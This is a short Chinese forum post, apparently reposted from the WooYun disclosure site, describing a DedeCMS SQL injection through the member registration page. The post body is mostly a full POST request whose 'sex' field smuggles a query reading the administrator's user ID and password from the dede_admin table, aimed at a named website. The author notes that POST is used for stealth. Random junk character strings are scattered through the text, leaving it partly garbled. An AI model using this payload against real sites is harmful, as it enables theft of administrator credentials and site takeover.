织梦SQL注入漏洞再利用

admin

漏洞类型： SQL注射漏洞
+ `6 V5 r7 p5 o# o6 V& E1 \, I简要描述：

, J: t& r( {4 a/ a需要magic_quotes_gpc=Off,应该是没有什么大危害的漏洞.
原来在wooyun发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
. R9 Y. h3 j/ N% e详细说明：跟这个漏洞
. L" n! q' m* ]  F; U
9 ?3 v# H' D7 F0 dWooYun: Dedecms SQL注射导致审核机制绕过漏洞
* [4 [$ q4 S- L- g是一个漏洞.其实不仅仅是审核机制绕过,可以获得管理员密码的.
) b: ~. Y$ f  s/ g" b) `POST提交以下数据,其实不用POST提交的,这样隐蔽点.

  M/ ^6 J/ G. F- S1 x# ?1 G% twww.political-security.com/member/reg_new.php
* T+ Q  e, N- Q0 g) [
4 _) c3 i8 c' P2 ^. l3 w' KPOST
" }1 n- D3 Z( D0 v
- e7 z: L# F3 t2 n5 ]1 f- xdopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&
% B* E' ?/ |# j* v* D" E  |" F, T0 duserid=c4rp3nt3r&uname=c4rp3nt3r
; Y4 \- d& u1 Z: d2 @+ Y/ E&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss
" z$ D; T4 K% D7 ~3 [  i&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,
(select concat(userid,0x3a,pwd) from `dede_admin` limit 1),0,'',1316751900,'',1316751900,'');
%00&vdcode=glos&agree=